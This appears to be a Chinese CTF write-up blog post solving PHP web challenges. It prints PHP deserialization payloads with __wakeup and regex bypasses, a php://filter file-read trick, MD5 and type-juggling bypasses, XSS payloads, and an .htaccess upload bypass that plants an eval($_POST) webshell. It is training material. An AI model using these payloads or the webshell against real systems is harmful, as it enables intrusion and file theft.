实验室8.5CTF考核wp
- ctf
- 2023-08-19
- 1454热度
- 0评论
easy-serialize
小黑子整破防了,扫一手,

对程序进行逆推,如果我们能够拿到flag,执行的语句只能是 @unserialize($kunkun); 而不可能是 highlight_file(“This_isnot_ikun.php”); 或者 die(‘stop Small spot!!!’); 。因此我们要对fl00000g.php进行序列化
正好匹配正则表达式,如果我们想让程序执行 @unserialize($kunkun);语句,则必须绕过preg_match函数。正则表达式匹配的是"O:4:"这一部分,而我们知道,4 = +4,因此我们将"O:4:"修改为"O:+4:"即可成功绕过preg_match函数而不会影响反序列化的结果。
对于unserialize函数,若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 wakeup() 成员函数(如果存在的话)。而Demo类中恰好定义了wakeup()魔术方法,因此我们要绕过wakeup()魔术方法,使其不会执行,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行。
最后,由于源码中有base64_decode()函数,我们再对payload进行一次Base64编码即可得到最终的payload。<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$A = new Demo("fl00000g.php");
$b = serialize($A);
$b = str_replace("O:4", "O:+4",$b);
$b = str_replace(":1:", ":2:", $b);
$b = base64_encode($b);
echo "$b";
?>

111
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
开始对我们有提示flag.php,那就是到这里拿flag,看read()函数可以拿文件内容,再看到当op=2的时候可以运行函数read(),再通过output()函数显示出来。
1.先看is_valid() 要求我们传入的str的每个字母的ascii值在32和125之间。这里注意protected在序列化之后会出现不可见字符\00*\100,不符合上面的要求,这里绕过方法就是直接改成public
2.destruct()魔术方法会在传参是2的字符的时候,对传入的参数进行赋值,这里的比较是===强比较,而在process()函数是弱比较 绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "2"; //因为destruct函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
得到payloag:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}
传参得flag

a_bad_day
找到注入点

猜测其存在flag.php页面:
- 传入的值中需包含
woofers、meowers、index,才能包含传入的文件带.php会报错

需要包含woofers、meowers、index,php伪协议可以嵌套使用,即构造php://filter/read=convert.base64-encode/meowers/resource=flag

base64解码

web1
全办了,那就试试编码了。直接unicode,编码javascript:alert(1) 然后点击友情链接javascript:alert('1')

web2
小游戏必定要看js

解码一下

可恶,谐音怪

首先我们要满足,get传入的gg和id,md5加密后===,而gg≠id。这个见好多次了。我们传入数组的话,md5()会返回NULL,从而绕过。
构造?gg[]=1&id[]=2, 第二个条件,满足post传入的passwd不是数字,而==1234567。php弱类型比较,所以构造 passwd=123456a

yuxss
我是老实人...............

还是看看这个题目,页面源代码有input隐藏,很熟悉

抓包看看,很明显了

<>都过滤了,直接" onclick=alert('xss') type="text

babyupload
后缀名不能有ph! 对于文件后缀名的限制,无法绕过这里
上传类型也太露骨了吧! 对 Content-Type 的限制,修改为 image/jpeg 即可绕过

只有文件名那里无法直接绕过,所以这里就可以利用上传一个 .htaccess 文件将别的后缀名文件内容解
析为php程序
内容为:
再上传shell
AddType application/x-httpd-php .mochu
放包,上传ok

再上传shell
AddType application/x-httpd-php .mochu
可以使用<script language="php">eval($_POST['mochu7']);</script>绕过

传参mochu7=var_dump(scandir('/'));

找到目录,直接mochu7=var_dump(file_get_contents('/flag'));

0ctf
先dirsearch扫一遍,www.zip,好家伙

一个个审,config.php,有flag,看来和他肯定有关系。

这明摆着,要反序列化,突破口nickname

file_get_contents($profile['photo']),估计是通过photo拿到config.php的内容。。。。。

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
if(preg_match('/[^a-zA-Z0-9_]/',$_POST['nickname'])||strlen($_POST['nickname']) > 10)
die('Invalid nickname');
在class中设置了函数对$profile变量进行过滤,在输入nickname的时候也进行了过滤,对于第一个nickname正则,我们通过数组就可以绕过
对于第二个我们可以看到,当我们输入上述几个特定的字符串后会被替换成hacker,那就只能字符串逃逸了
通过where换成hacker,把后面photo的内容挤出去。在nickname之后的字符长度一共是34,那么我们完全可以用34个where来让它进行正则匹配替换,然后剩下的34个字符就不会被正则匹配,即下面代码,在反序列化时就会被成功当成photo,那么我们就可以成功读取到config.php了";}s:5:"photo";s:10:"config.php";}
反序列化如下
<?php
class b
{
public $phone = "12345678912";
public $email = "123456789@qq.com";
public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
?>
抓包

改包

放了之后,查看源代码

找到photo的位子

然后base64解码即可

